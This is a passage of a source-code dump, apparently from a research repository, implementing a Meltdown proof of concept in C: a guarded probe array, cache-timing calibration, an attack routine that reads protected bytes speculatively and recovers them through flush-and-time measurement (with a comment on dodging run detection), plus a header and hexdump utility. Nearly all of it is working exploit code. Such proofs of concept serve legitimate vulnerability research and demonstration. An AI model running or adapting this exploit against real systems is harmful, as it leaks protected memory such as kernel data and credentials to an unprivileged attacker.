* PROBE_LINELEN) 49 | static uint8_t *probe; 50 | 51 | /* 52 | * Average measured read latency with cold and hot cache 53 | */ 54 | static uint64_t avg_cold; 55 | static uint64_t avg_hot; 56 | 57 | /* 58 | * Decision threshold 59 | */ 60 | static uint64_t threshold; 61 | 62 | /* 63 | * Map our probe array between two guard regions to be absolutely sure 64 | * that it is not adjacent to memory in use elsewhere in the program. 65 | */ 66 | #ifndef MAP_GUARD 67 | #define MAP_GUARD (MAP_ANON | MAP_PRIVATE) 68 | #endif 69 | void 70 | meltdown_init(void) 71 | { 72 | 73 | if (mmap(NULL, PROBE_SIZE, PROT_NONE, MAP_GUARD, -1, 0) == MAP_FAILED) 74 | err(1, "mmap()"); 75 | probe = mmap(NULL, PROBE_SIZE, PROT_READ | PROT_WRITE, 76 | MAP_ANON | MAP_PRIVATE, -1, 0); 77 | if (probe == MAP_FAILED) 78 | err(1, "mmap()"); 79 | memset(probe, 0xff, PROBE_SIZE); 80 | if (mmap(NULL, PROBE_SIZE, PROT_NONE, MAP_GUARD, -1, 0) == MAP_FAILED) 81 | err(1, "mmap()"); 82 | } 83 | 84 | /* 85 | * Compute the average hot and cold read latency and derive the decision 86 | * threshold. 87 | */ 88 | #define CAL_ROUNDS 1048576 89 | void 90 | meltdown_calibrate(void) 91 | { 92 | uint8_t *addr; 93 | uint64_t meas, min, max, sum; 94 | unsigned int i; 95 | 96 | VERBOSEF("calibrating...\n"); 97 | 98 | /* compute average latency of "cold" access */ 99 | min = UINT64_MAX; 100 | max = 0; 101 | sum = 0; 102 | for (i = 0, addr = probe; i < CAL_ROUNDS + 2; ++i) { 103 | addr = probe + (i % PROBE_NLINES) * PROBE_LINELEN; 104 | clflush(addr); 105 | meas = timed_read(addr); 106 | if (meas < min) 107 | min = meas; 108 | if (meas > max) 109 | max = meas; 110 | sum += meas; 111 | } 112 | sum -= min; 113 | sum -= max; 114 | avg_cold = sum / CAL_ROUNDS; 115 | VERBOSEF("average cold read: %llu\n", (unsigned long long)avg_cold); 116 | 117 | /* compute average latency of "hot" access */ 118 | meas = timed_read(probe); 119 | min = UINT64_MAX; 120 | max = 0; 121 | sum = 0; 122 | for (i = 0; i < CAL_ROUNDS + 2; ++i) { 123 | addr = probe + (i % PROBE_NLINES) * PROBE_LINELEN; 124 | meas = timed_read(addr); 125 | if (meas < min) 126 | min = meas; 127 | if (meas > max) 128 | max = meas; 129 | sum += meas; 130 | } 131 | sum -= min; 132 | sum -= max; 133 | avg_hot = sum / CAL_ROUNDS; 134 | VERBOSEF("average hot read: %llu\n", (unsigned long long)avg_hot); 135 | 136 | /* set decision threshold to sqrt(hot * cold) */ 137 | if (avg_hot >= avg_cold) 138 | errx(1, "hot read is slower than cold read!"); 139 | for (threshold = avg_hot; threshold <= avg_cold; threshold++) 140 | if (threshold * threshold >= avg_hot * avg_cold) 141 | break; 142 | VERBOSEF("threshold: %llu\n", (unsigned long long)threshold); 143 | } 144 | 145 | /* 146 | * Perform the Meltdown attack. 147 | * 148 | * For each byte in the specified range: 149 | * - Flush the cache. 150 | * - Read the given byte, then touch a specific probe address based on its 151 | * value of the byte that was read. 152 | * - Measure the time it takes to access each probe address. 153 | * - In theory, one of the probe addresses should be in cache, while the 154 | * others should not. This indicates the value of the byte that was 155 | * read. 156 | */ 157 | static sigjmp_buf jmpenv; 158 | static void sighandler(int signo) { siglongjmp(jmpenv, signo); } 159 | void 160 | meltdown_attack(const void *targetp, void *bufp, size_t len, 161 | unsigned int rounds) 162 | { 163 | unsigned int hist[PROBE_NLINES]; 164 | uint8_t line[16]; 165 | const uint8_t *target = targetp; 166 | uint8_t *buf = bufp; 167 | sig_t sigsegv; 168 | unsigned int i, r, v, xv; 169 | int signo; 170 | uint8_t b; 171 | 172 | VERBOSEF("reading %zu bytes from %p with %u rounds\n", 173 | len, target, rounds); 174 | sigsegv = signal(SIGSEGV, sighandler); 175 | for (i = 0; i < len; ++i) { 176 | memset(hist, 0, sizeof hist); 177 | /* 178 | * In each round, flush the cache, try to access the 179 | * target and record what we think its value is based on 180 | * which cache lines are hot after the speculative read. 181 | */ 182 | for (r = 0; r < rounds; ++r) { 183 | if ((signo = sigsetjmp(jmpenv, 1)) == 0) { 184 | for (v = 0; v < PROBE_NLINES; ++v) 185 | clflush(&probe[v * PROBE_LINELEN]); 186 | spec_read(&target[i], probe, PROBE_SHIFT); 187 | } 188 | for (v = 0; v < PROBE_NLINES; ++v) { 189 | xv = ((v * 167) + 13) % 256; /* dodge run detection */ 190 | if (timed_read(&probe[xv * PROBE_LINELEN]) < threshold) 191 | hist[xv]++; 192 | } 193 | } 194 | /* retain the most frequent value */ 195 | VERYVERBOSEF("%04x |", i); 196 | for (b = 0, v = 0; v < PROBE_NLINES; ++v) { 197 | if (hist[v] > 0) 198 | VERYVERBOSEF(" [%02x] = %u", v, hist[v]); 199 | if (hist[v] > hist[b]) 200 | b = v; 201 | } 202 | VERYVERBOSEF(" | %u\n", b); 203 | if (buf == NULL) { 204 | line[i % 16] = b; 205 | /* output 16 bytes at a time */ 206 | if (i % 16 == 15) 207 | hexdump(i - 15, line, 16); 208 | } else { 209 | buf[i] = b; 210 | } 211 | } 212 | /* output any leftovers */ 213 | if (buf == NULL) { 214 | if (i % 16 > 0) 215 | hexdump(i - i % 16, line, i % 16); 216 | } 217 | signal(SIGSEGV, sigsegv); 218 | } 219 | -------------------------------------------------------------------------------- /meltdown.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | #ifndef MELTDOWN_H_INCLUDED 32 | #define MELTDOWN_H_INCLUDED 33 | 34 | #include "mdctype.h" 35 | 36 | /* 37 | * Debugging 38 | */ 39 | extern int verbose; 40 | #define VERBOSEF(...) do { if (verbose > 0) fprintf(stderr, __VA_ARGS__); } while (0) 41 | #define VERYVERBOSEF(...) do { if (verbose > 1) fprintf(stderr, __VA_ARGS__); } while (0) 42 | 43 | /* 44 | * Utilities 45 | */ 46 | void hexdump(size_t, const void *, size_t); 47 | 48 | /* 49 | * Assembler functions 50 | */ 51 | void clflush(const void *); 52 | uint64_t rdtsc64(void); 53 | uint32_t rdtsc32(void); 54 | uint64_t timed_read(const void *); 55 | void spec_read(const uint8_t *, const uint8_t *, unsigned int); 56 | 57 | /* 58 | * Attack setup and execution 59 | */ 60 | void meltdown_init(void); 61 | void meltdown_calibrate(void); 62 | void meltdown_attack(const void *, void *, size_t, unsigned int); 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /util.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2018 The University of Oslo 3 | * Copyright (c) 2018 Dag-Erling Smørgrav 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 2. Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * 3. The name of the author may not be used to endorse or promote 15 | * products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 19 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 22 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 24 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 27 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 28 | * SUCH DAMAGE. 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | 35 | #include "meltdown.h" 36 | 37 | /* 38 | * Debugging 39 | */ 40 | int verbose; 41 | 42 | /* 43 | * Print a pretty hex dump of the specified buffer. 44 | */ 45 | void 46 | hexdump(size_t base, const void *bufp, size_t len) 47 | { 48 | const uint8_t *buf = bufp; 49 | unsigned int i; 50 | ssize_t res; 51 | 52 | res = len; 53 | while (res > 0) { 54 | printf("%08zx ", base); 55 | for (i = 0; i < 16; ++i) { 56 | if (i == 8) 57 | printf(" :"); 58 | if (i < res) 59 | printf(" %02x", buf[i]); 60 | else 61 | printf(" --"); 62 | } 63 | printf(" |"); 64 | for (i = 0; i < 16; ++i) { 65 | if (i == 8) 66 | printf(":"); 67 | if (i < res) 68 | printf("%c", is_p(buf[i]) ? buf[i] : '.'); 69 | else 70 | printf("-"); 71 | } 72 | printf("|\n"); 73 | res -= 16; 74 | buf += 16; 75 | base += 16; 76 | } 77 | } 78 | --------------------------------------------------------------------------------